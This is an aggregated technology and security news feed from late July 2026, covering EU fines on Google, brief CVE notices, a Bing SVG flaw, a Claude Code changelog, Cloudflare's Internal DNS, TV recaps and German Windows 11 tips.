The post IT Security News Hourly Summary 2026-07-25 00h : 4 posts appeared first on IT Security News.


Quote of the day by Netscape co-founder Marc Andreessen: 'Software is eating the world' — a pithy assessment of the modern tech landscape
Sat, 25 Jul 2026 00:02:10 +0200
The venture capitalist and tech entrepreneur explained in a famous essay how software infiltrated every industry


Google Fined €890M Under EU Digital Markets Act Over Search and Play Store Practices
Fri, 24 Jul 2026 23:39:25 +0200
EU fined Google €890M under the DMA for favoring its own services and restricting Play Store competition, with AI search features also under scrutiny. The European Commission hit Google with two fines totalling €890 million on Thursday for violating the…
Read more →
The post Google Fined €890M Under EU Digital Markets Act Over Search and Play Store Practices appeared first on IT Security News.


Google Fined €890M Under EU Digital Markets Act Over Search and Play Store Practices
Fri, 24 Jul 2026 23:01:09 +0200
EU fined Google €890M under the DMA for favoring its own services and restricting Play Store competition, with AI search features also under scrutiny. The European Commission hit Google with two fines totalling €890 million on Thursday for violating the Digital Markets Act, one for giving its own services preferential placement in Google Search and […]


Securing Model Context Protocol Servers: 4 Gates From Code to Production
Fri, 24 Jul 2026 22:38:03 +0200
I was showing off a support assistant I’d wired up over the Model Context Protocol. Small thing: it could search our docs and open a doc by name. A teammate, being a teammate, pasted this into the chat pretending to…
Read more →
The post Securing Model Context Protocol Servers: 4 Gates From Code to Production appeared first on IT Security News.


Trump promises investigation into EU fines on US big tech
Fri, 24 Jul 2026 21:47:48 +0200
President Donald Trump is escalating the fight over European Union antitrust penalties against Apple, Google, and other U.S. tech companies by opening a trade investigation that could lead to new tariffs.

Apple CEO Tim Cook and President Donald Trump

Trump announced the investigation in a social media post after the European Commission fined Google 890 million euros on July 23 for violating the Digital Markets Act.

The fine included 460 million euros, or about $517 million, for favoring Google services in search results and 430 million euros, or about $483 million, for restricting how businesses direct Google Play users to alternative purchasing options.

"The United States of America is not a PIGGYBANK' for Europe, nor will we allow it to be," Trump wrote. He accused the EU of unfairly taking money from American companies and said its penalties should be reversed.


 Continue Reading on AppleInsider | Discuss on our Forums


IT Security News Hourly Summary 2026-07-24 21h : 5 posts
Fri, 24 Jul 2026 21:08:36 +0200
5 posts were published in the last hour 18:35 : SBOM/CVE: The Duck and Cover of Cyber War 18:34 : FBI and CISA Warn of Escalating Iranian Cyber Attacks 18:34 : Innovator Spotlight: American Binary 18:34 : New CISA/NSA Advisory…
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The post IT Security News Hourly Summary 2026-07-24 21h : 5 posts appeared first on IT Security News.


TextExpander 8.4.5
Fri, 24 Jul 2026 21:03:02 +0200
Makes improvements to the text expansion utility's Inline Search. ($40 annual subscription, free update, 38.3 MB, macOS 11.1+)


Dev accidentally commits Copilot binary to FreeBSD ports repo
Fri, 24 Jul 2026 20:49:54 +0200
Git is aptly named: it isn’t easy – but there are alternatives


Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale
Fri, 24 Jul 2026 20:48:40 +0200
The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.”




Finale release date: July 31, 2026



Episode title: “The Executioners”



Season length: 10 episodes



Genre: Psychological thriller and drama



Streaming platform: Apple TV



Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis




Where the Story Is Heading



Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime.



Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan.



Max Cady



Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release.



Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor.



Anna Bowden



Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack.



She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him.



Tom Bowden



Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear.



His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage.



Natalie Bowden



Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans.



Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true.



Zack Bowden



Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom.



Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue.



Nevaeh Valentine



Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan.



She may confess, help investigators locate Zack or die while attempting to regain Max’s approval.



Noa Toussaint



Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear.



Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them.



Crystal and Luke



Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned.



Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family.



The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.


Innovator Spotlight: American Binary
Fri, 24 Jul 2026 20:44:01 +0200
American Binary: Why “Mostly Post Quantum” Is Another Way to Say Vulnerable If you’ve sat through a vendor briefing in the last 2 years, you’ve been told your stack is… The post Innovator Spotlight: American Binary appeared first on Cyber…
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The post Innovator Spotlight: American Binary appeared first on IT Security News.


‘Lucky’ Season 1 Episode 3 Recap: Lucky Finally Tracks Down Cary
Fri, 24 Jul 2026 20:27:30 +0200
“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-episode Apple TV limited series based on Marissa Stapley’s novel. The first two episodes arrived on July 15, followed by weekly releases through August 19.




Episode title: Read the Room



Release date: July 22, 2026



Runtime: 45 minutes




Spoiler warning for “Lucky” Episode 3



After the failed multimillion-dollar robbery, Lucky remains separated from Cary, who disappeared with their money. She also continues running from Priscilla’s people and the FBI while relying on the criminal skills taught to her by her father, John.



Episode 3 begins with a flashback showing John completing a deal for Priscilla as Agent Rand watches nearby. Lucky warns John that the situation will end badly. In the present, Rand follows Lucky’s trail through gas-station security footage, although she remains several steps behind her.



Lucky reaches Priscilla’s farm and hides while Dutch questions Noah about fake identification documents. Dutch eventually kills him, allowing Lucky to steal Noah’s identification and search for the person making the fake documents.



Lucky crashes a child’s birthday party



Before continuing her search, Lucky enters a child’s birthday party to obtain clothes, money and transportation. A flashback shows John teaching young Lucky how to steal at such events, including taking cash envelopes and unattended purses.



Lucky leaves the party with a new outfit, enough money to tip a valet and someone else’s car. The scene shows how easily she can enter an unfamiliar environment, gain people’s trust and disappear before anyone notices what happened.



At Noah’s home, Lucky discovers that his neighbour creates fake IDs. While studying her previous work, Lucky finds evidence that Cary used her services and adopted the name Colson Smith.



Lucky finally finds Cary



Lucky manipulates a real-estate agent into giving her access to the property where Cary is staying. While Cary swims nearby, she searches the house and discovers a gun and a laptop protected by a 12-word seed phrase.



Cary returns to find the property destroyed and Lucky waiting inside. Meanwhile, Wayne tells Priscilla that he has also discovered Cary’s location, placing both Cary and Lucky in immediate danger.



Episode 3 ends with the former partners finally reunited, although their missing money and broken trust remain unresolved. What do you think Cary will tell Lucky, and will they work together against Priscilla? Let us know in the comments.


Luxury ORM Los Angeles: A Realistic Timeline for Suppressing Negative Search Results
Fri, 24 Jul 2026 20:24:55 +0200
In this post, I will discuss luxury ORM Los Angeles and show you a realistic timeline for suppressing negative search results. In the high-stakes world of high-end commerce, your brand’s digital footprint is your most valuable asset. One disparaging article or a series of coordinated negative reviews can do more damage to your bottom line […]
The post Luxury ORM Los Angeles: A Realistic Timeline for Suppressing Negative Search Results appeared first on SecureBlitz Cybersecurity.


CVE-2015-0495 | Oracle Commerce Guided Search/Experience Manager 3.x/11.x Workbench Remote Code Execution (SBV-49614 / BID-74108)
Fri, 24 Jul 2026 20:19:50 +0200
A vulnerability, which was classified as critical, has been found in Oracle Commerce Guided Search and Experience Manager 3.x/11.x. Impacted is an unknown function of the component Workbench. The manipulation leads to Remote Code Execution.

This vulnerability is referenced as CVE-2015-0495. Remote exploitation of the attack is possible. No exploit is available.

It is advisable to upgrade the affected component.


CVE-2021-20190 | Oracle Commerce Guided Search/Commerce Experience Manager jackson-databind deserialization
Fri, 24 Jul 2026 20:19:49 +0200
A vulnerability has been found in Oracle Commerce Guided Search and Commerce Experience Manager 11.3.2 and classified as critical. This vulnerability affects unknown code of the component jackson-databind. This manipulation causes deserialization.

This vulnerability is handled as CVE-2021-20190. The attack can be initiated remotely. There is not any exploit available.

The affected component should be upgraded.


Innovator Spotlight: American Binary
Fri, 24 Jul 2026 20:18:19 +0200
American Binary: Why “Mostly Post Quantum” Is Another Way to Say Vulnerable If you’ve sat through a vendor briefing in the last 2 years, you’ve been told your stack is...
The post Innovator Spotlight: American Binary appeared first on Cyber Defense Magazine.


US accuses American of allegedly wiping his phone using a ‘duress’ password during border search
Fri, 24 Jul 2026 20:17:20 +0200
A U.S. citizen has asked a court to throw out the government’s claim that he gave over a passcode to border authorities that wiped his phone’s data, opening up fresh questions about a person’s constitutional rights at the U.S. border.…
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The post US accuses American of allegedly wiping his phone using a ‘duress’ password during border search appeared first on IT Security News.


US accuses American of allegedly wiping his phone using a ‘duress’ password during border search
Fri, 24 Jul 2026 19:56:15 +0200
A U.S. citizen has asked a court to throw out the government's claim that he gave over a passcode to border authorities that wiped his phone's data, opening up fresh questions about a person's constitutional rights at the U.S. border.


CVE-2026-56167 | Microsoft Azure AI Search server-side request forgery (CNNVD-2026-81860683)
Fri, 24 Jul 2026 19:36:40 +0200
A vulnerability classified as critical was found in Microsoft Azure AI Search. Affected by this vulnerability is an unknown functionality. Such manipulation leads to server-side request forgery.

This vulnerability is traded as CVE-2026-56167. The attack may be launched remotely. There is no exploit available.

This product is a managed service, so users are unable to manage vulnerability countermeasures on their own.


v2.1.219
Fri, 24 Jul 2026 19:18:36 +0200
What's changed

Added Claude Opus 5 (claude-opus-5), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok
Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting
Added DirectoryAdded hook that fires after /add-dir or the SDK register_repo_root control request registers a new working directory mid-session
Added mcp_server_errors to the headless stream-json init event, listing --mcp-config entries skipped by config validation; terminal runs print a startup warning
Added the workflowSizeGuideline settings key so the advisory Dynamic workflow size guideline can be set from any settings file; the /config row is hidden while one does
Added nested subagent forwarding in stream-json: subagents spawned at depth-2+ now appear when --forward-subagent-text is set, keyed by their spawning Agent tool_use id
Fixed claude -p text output dropping the answer already produced when a turn dies on a mid-stream API error
Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
Fixed a permission you approved while a self-hosted runner was restarting being dropped when the session resumed, so the approved action now runs
Fixed the Fable model row showing "Requires usage credits" for plans that include it, when a stale cache had baked the label in
Fixed a SIGTERM arriving while a self-hosted runner was starting up leaving a stale active row until the lease expired; it now deregisters cleanly
Added structured failure categories to self-hosted runner spawn and session failures, so hook errors, runner crashes and config errors can be told apart
Fixed the /model picker showing the merged Opus row as plain "Opus" instead of "Opus (1M context)"
Fixed copy-on-select inside GNU screen printing base64 into the terminal instead of copying the selection
Fixed Remote Control clients keeping a stale fast-mode status after a model switch, reconnect, or failed org check
Fixed CLAUDE_CODE_GIT_BASH_PATH on Windows exiting or being used as bash when the path isn't a bash/sh binary; it's now ignored with a warning
Fixed Vim mode: pressing ← on an empty prompt now returns to the agent view from NORMAL mode, not just INSERT
Fixed screen-reader mode rewriting the entire input line on every keystroke instead of echoing only the typed character
Improved the "Remote Control is only available via api.anthropic.com" error to name the specific setting that caused it
Improved claude --teleport to show which repo your current checkout points at when it doesn't match the session's repo
Changed dynamic workflows to default to a medium size guideline (aim for fewer than 15 agents); pick another size or unrestricted with Dynamic workflow size in /config
Changed managed MCP allowlist/denylist ${VAR} entries to resolve from the startup environment and managed-settings env instead of settings-file env
Changed the /model picker to highlight only the newest model's name, so the highlight marks the new release rather than an arbitrary subset of the list
Added the current default workflow size to the running-workflow status line, with a pointer to /config for changing it
Removed Opus 4.7 from fast mode; /fast now applies to Opus 5 and Opus 4.8
Updated the claude-api skill to default to Claude Opus 5, with a migration path from Opus 4.8
Subagents can now spawn nested subagents up to depth 3 by default (was 1); set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=1 to disable nesting



Cloudflare Internal DNS puts public and private DNS on one policy engine
Fri, 24 Jul 2026 18:18:13 +0200

		
					  
						




Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. 



While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means ongoing manual synchronization work for network teams. 



Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.



Cloudflare’s answer is a product it calls Internal DNS.



“Many organizations already use Cloudflare for their public DNS,” Enrique Somoza, product, performance and infrastructure at Cloudflare, told Network World. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” 



How it works



Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.



“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.



Policy first. The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”



No public path in. Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.



One hostname, multiple answers. Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”



Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.



View selection. The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. 



“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”



A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.



Latency and resilience. Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”



How this differs from split-horizon DNS



Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.



“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”



Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”



For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.



Early use cases and migration challenges



Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.



Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.



When it comes to migration, the friction customers report during migration is procedural rather than architectural. 



“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”



Google Hit With €890M EU Fine as Regulators Crack Down Under Digital Markets Act
Fri, 24 Jul 2026 16:46:13 +0200
EU regulators fined Google €890 million for favoring its own Search services and restricting Play Store developers from promoting cheaper offers.
The post Google Hit With €890M EU Fine as Regulators Crack Down Under Digital Markets Act appeared first on TechRepublic.


Home Assistant Device Database public preview
Fri, 24 Jul 2026 15:33:35 +0200
The Open Home
Foundation, which governs the Home Assistant
home-automation project, has announced
the "public preview" of its Device
Database:


Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step toward it.

You can already use it to search and filter devices to see
aggregated community insights, starting with a deliberately focused
set of specifics, such as whether a device requires an internet
connection, and which protocols and integrations it works with. We've
kept that initial scope narrow on purpose, giving us a solid
foundation we can build on together with you, our community, as the
database grows.


LWN looked at Home
Assistant in May 2025.




Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft's Servers
Fri, 24 Jul 2026 15:11:16 +0200
A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat in Bing's image tier, not on one bad machine. Microsoft issued two critical CVEs, CVE-2026-32194 and


Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft’s Servers
Fri, 24 Jul 2026 15:10:48 +0200
A crafted SVG submitted to Bing’s image search ran commands as NT AUTHORITY\SYSTEM on Microsoft’s production image-processing workers, and as root on the Linux machines in the same fleet. XBOW’s testing got the same result on workers across different hosts…
Read more →
The post Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft’s Servers appeared first on IT Security News.


Trusted Mac apps could possibly be swapped out for malware
Fri, 24 Jul 2026 14:00:51 +0200
It takes a very specific series of steps and even then it cannot affect every Mac app, but researchers have found a way to bypass Apple's macOS security and run malware.


There is a way to get malware onto your Mac, although it's not very likely. Background skull and crossbones image by stg_max_gts

If they don't already come installed on the Mac, macOS apps are either downloaded from the Mac App Store, or from developers' websites. Whichever it is, macOS has security measures to prevent bad actors running malware on Macs, but researchers say they have found a way around this.

Researchers Talal Haj Bakry and Tommy Mysk also say in a blog post that they reported their findings, but Apple is unconcerned. Apple has good reason, but it is still a potential weakness that the researchers believe could be readily fixed.


 Continue Reading on AppleInsider | Discuss on our Forums


Google’s anti-search-scraping lawsuit dismissed
Fri, 24 Jul 2026 13:20:02 +0200

		
					  
						




A court has dismissed Google’s case against SerpApi over that company’s scraping of search results to train AI models.



The US District Court for the Northern District of California found that there was no indication that any copyright had been breached.



Google announced in December that it was suing SerpApI for its alleged web scraping, claiming that it was protecting copyright holders. In February, SerpApI fought back and asked the court to dismiss Google’s case. And this week, Judge Yvonne Gonzalez Rogers agreed with SerpApi that Google’s case has no merit.



Google’s argument was that SerpApi’s actions breached the US Digital Millennium Copyright Act (DCMA). It made two claims: first, that no person shall circumvent a technological measure that effectively controls access to a work protected under this title, and second that no person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, or component protected by the Act.



SerpApi claimed that the URLs and other links that were being served by Google did not in themselves entail copyright and the judge agreed. In her judgment, she said that there was no indication that the copyright holders had authorized Google to take action against SerpApi.



The case is not completely over as the judge has given Google 21 days to amend its complaint to demonstrate that it was acting on behalf of the copyright owners. It remains to be seen whether its war against the web scrapers is finally over.



“Trusted human curation is becoming increasingly valuable”: This new Squarespace marketplace wants to fix broken search
Fri, 24 Jul 2026 12:50:09 +0200
Could curation be a better approach to discovering the tools, templates, and services you need?


Google fined $1 billion for anticompetitive search and mobile app practices in EU
Fri, 24 Jul 2026 11:49:13 +0200

		
					  
						




The European Commission has fined Google a total of €890 million ($1 billion) for its breaches of the Digital Market Act (DMA).



Just over half the fine — €460 million — was because Google illegally gave preference to its own services in Google Search results.



The remainder was because in the Google Play store for Android apps, the company prevented app developers from leading consumers to alternative, often cheaper, purchase channels. Under the DMA, app developers who distribute their apps via Google Play or Apple’s App Store should be able to inform customers of alternative offers.



Now Google must give third-party services featuring in its results the same treatment as its own services, and allow developers of apps in the Play Store to communicate about offers both in and outside the Play Store, or face further fines.



The Commission first raised these issues with Google in March 2025. In April of this year, the Commission laid out plans as to how Google should allow other third-parties to share its searches, suggestions that the tech firm firmly resisted. Earlier this month, the Commission also said  Android should be open to other AI agents and not limited to Google’s own Gemini.



Google is not the only US company to have fallen foul of the DMA. In April 2025, Apple was fined €500 million for breaching the Act and, last month, the Commission fired the first shots at cloud hyperscalers Microsoft and Amazon.







Kagi Brings Back Old-School Search, One Human-Made Website at a Time
Fri, 24 Jul 2026 11:35:08 +0200
If you’re tired of sponsored and AI-summarized search results, Kagi gives you a curated—and human-centric—way to find what you’re looking for.


European Commission Fines Google €890 Million for DMA Breaches
Fri, 24 Jul 2026 10:23:58 +0200
Google fined €890 million by the European Commission for breaching the Digital Markets Act (DMA) over its practices on Google Search and Google Play. The Commission issued two separate fines of €460 million and €430 million, finding that Google had failed to comply with the DMA's rules on self-preferencing and steering.

The decisions concern how Google ranks its own services in search results and how app developers can communicate alternative offers to users through Google Play.
Google Fined Over Self-preferencing on Google Search
The Commission found that Google breached the DMA by giving preferential treatment to its own services, including shopping, hotels, transport and sports results, compared with third-party services appearing in Google Search.

Under the DMA, designated gatekeepers are required to treat their own services and third-party services fairly and without discrimination in search rankings.

According to the Commission, Google gives its own services greater prominence by placing them at the top of search results or displaying them with enhanced visuals and filters. The Commission said similar third-party services do not receive the same level of prominence.

The Commission's decision requires Google to treat third-party services featured in its search results in a fair and non-discriminatory manner compared with its own services.

The Commission also noted that Google has proposed and started testing changes to the way it presents its own services on Google Search, including free services covering shopping, hotels and flights. The Commission said these changes represent substantial progress towards compliance and will be monitored.

Google has also proposed and started testing changes involving shopping ads and content-related services, including sports. The Commission is assessing these changes and will continue discussions with the company. The dialogue will also cover Google's proposals for applying the principles of the decision to AI Overviews and AI Mode.
Google Play Restrictions Lead to Second Fine
The second decision concerns Google's anti-steering practices on Google Play.

Under the DMA, app developers distributing apps through Google Play must be able to inform customers about alternative, often cheaper offers at no cost. Developers should also be able to direct users to make purchases through other channels, including websites and alternative app stores.

The Commission found that Google failed to meet these requirements. It said Google restricted app developers from freely communicating and promoting offers and from concluding contracts with users through distribution channels of their choice, including third-party app stores.

The Commission acknowledged that Google can charge a fee for facilitating the initial acquisition of a new customer by an app developer through Google Play. However, it found that the level of Google's steering-related fees and the length of time those fees were charged went beyond what is considered compliant with the DMA.

Google has since rolled out changes related to its steering terms. The Commission said these changes represent good progress towards compliance but will be assessed in light of the cease and desist order issued as part of the decision.
Digital Markets Act Enforcement Brings Compliance Deadline
As part of the two decisions, the Commission has ordered Google to end the identified non-compliance. The company must implement measures addressing both search rankings and its anti-steering rules.

Google is required to comply with the Commission's decisions within 60 days. If it fails to do so, it could face periodic penalty payments of up to 5% of its total worldwide turnover.

The fines take into account the gravity and duration of the non-compliance. The Commission said it also considered the recurrence of the breaches and concluded that the fines were proportionate and appropriate.

Google may appeal the decisions.
Commission Investigations Began in 2024
Google was designated as a gatekeeper in September 2023 for its online search engine, Google Search. On 25 March 2024, the Commission opened non-compliance investigations into Google's measures addressing self-preferencing and its steering rules.

On 19 March 2025, the Commission informed Google of its preliminary view that the company was in breach of the DMA. Google subsequently exercised its rights of defence by reviewing the documents in the Commission's investigation files and responding in writing to the preliminary findings.

The two decisions followed a detailed investigation that included feedback from market participants and extensive dialogue with Google.

The Commission said the decisions demonstrate its continued enforcement of the DMA and its focus on protecting fairness, business opportunities, consumer choice and innovation in digital markets.


EU Fines Google €890m For Competition Breaches
Fri, 24 Jul 2026 10:12:15 +0200
Latest DMA fines target alleged self-preferencing in Google Search, developer restrictions on Android app store This article has been indexed from Silicon UK Read the original article: EU Fines Google €890m For Competition Breaches
Read more →
The post EU Fines Google €890m For Competition Breaches appeared first on IT Security News.


Google breaks Alibaba’s record for Europe’s largest DMA fine
Fri, 24 Jul 2026 09:32:34 +0200
€890 million slap – just 0.25% of revenue – for making itself the subject of search results, and hiding app store alternatives


Windows 11 schneller machen
Fri, 24 Jul 2026 05:19:33 +0200


					  
						




Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt’s im Handumdrehen.

					Foto: Microsoft




Im Vergleich zu Windows 10 hat Microsoft bei Windows 11 einige Maßnahmen ergriffen, um die PC-Performance zu optimieren. Das heißt allerdings nicht, dass es nicht noch besser, beziehungsweise schneller geht. Zum Beispiel mit den folgenden, simplen Optimierungstipps. Sie zu befolgen kann übrigens auch gewährleisten, dass Ihre Windows-11-Maschine nicht im Laufe der Zeit erlahmt.



13 Tipps, um Windows 11 schneller zu machen



Vorab noch ein Hinweis: Wir beziehen uns in diesem Artikel auf Windows 11 Version 22H2. Wenn Sie eine frühere Version von Windows 11 nutzen, stehen einige Features unter Umständen nicht zur Verfügung oder sehen anders aus.



1. Autostart deaktivieren



Programme, die zwar im Hintergrund laufen, aber nur selten oder nie verwendet werden, können Ihren PC verlangsamen. Zu unterbinden, dass solche Applikationen zum Systemstart ausgeführt werden, kann Ihren Rechner entsprechend beschleunigen. Dazu rufen Sie zunächst den Windows Task Manager auf, indem Sie: 




entweder die Tastenkombination Strg + Alt + Entf eingeben, oder



den Task Manager über die Windows-Suchleiste starten.




Im Task Manager klicken Sie rechts auf den Menüpunkt “Autostart von Apps“. Nun sehen Sie eine Liste der Programme und Dienste, die beim Start von Windows initiiert werden – inklusive der Info, wie sich die jeweilige App auf den Startprozess auswirkt (dieser Wert bezieht sich allerdings nur auf den Startvorgang, nicht den laufenden Windows-11-Betrieb). Um zu verhindern, dass eines der gelisteten Programme oder Dienste zusammen mit dem System gestartet wird, genügt ein Rechtsklick, die Auswahl von “Deaktivieren” sowie ein anschließender Neustart des Rechners.



2. Effizienzmodus verwenden



Über den Task Manager initiieren Sie einen weiteren Trick, um Windows 11 schneller zu machen. Den mit Windows 11 22H2 eingeführten “Effizienzmodus“, der Ihren PC beschleunigen und zudem die Akkulaufzeit Ihres Laptops optimieren kann. Neben anderen Maßnahmen regelt der Effizienzmodus in Windows 11 zum Beispiel die Priorität von Prozessen und Anwendungen, die im Hintergrund laufen. Dabei ist der Begriff allerdings etwas irreführend, denn Sie können nicht Ihren gesamten Rechner in den Effizienzmodus versetzen – sondern lediglich einzelne Anwendungen und Prozesse. Der Haken dabei: Das funktioniert nur mit bestimmten.



Rufen Sie den Task Manager (siehe oben) auf und wählen sie im Menü links den Punkt “Prozesse“. Rechts sehen Sie nun eine Liste der Anwendungen und Prozesse, die aktuell laufen. Wenn Sie einen der Listeneinträge auswählen, haben Sie oben rechts im Task Manager die Möglichkeit, den Effizienzmodus zu aktivieren. Ist die Schaltfläche ausgegraut, steht die Funktion für die ausgewählte App nicht zur Verfügung. Darüber hinaus wissenswert: Unter Windows 11 arbeiten einige Anwendungen standardmäßig im Effizienzmodus, ohne die Möglichkeit, diesen zu deaktivieren (etwa Microsoft Edge).



3. Automatisierte Wartung nutzen



Windows 11 führt im Hintergrund kontinuierlich Wartungsmaßnahmen an Ihrem PC durch, beispielsweise Sicherheits-Scans und Systemdiagnosen. Das soll sicherstellen, dass alles auf dem neuesten Stand ist, eventuelle Probleme automatisch behoben werden und das Device mit optimaler Leistung läuft. Sie sollten deshalb sicherstellen, dass die automatische Wartung durch Windows aktiviert ist. Bei Bedarf können Sie diese Funktion auch manuell starten.



Rufen Sie dazu die Systemsteuerung auf und wählen Sie dort System und Sicherheit -> Sicherheit und Wartung. Hier finden Sie den Abschnitt “Automatische Wartung“, inklusive der Option, diese direkt manuell zu starten.



4. Adware und Bloatware beseitigen



Möglicherweise liegt es gar nicht an Windows 11, dass Ihr PC langsam startet. Eventuell beansprucht auch Bloat– oder Adware die Systemressourcen über Gebühr. Software dieser Art wird oft vom Hersteller Ihres PCs vorinstalliert – und in der Regel standardmäßig auch beim Systemstart aktiviert.



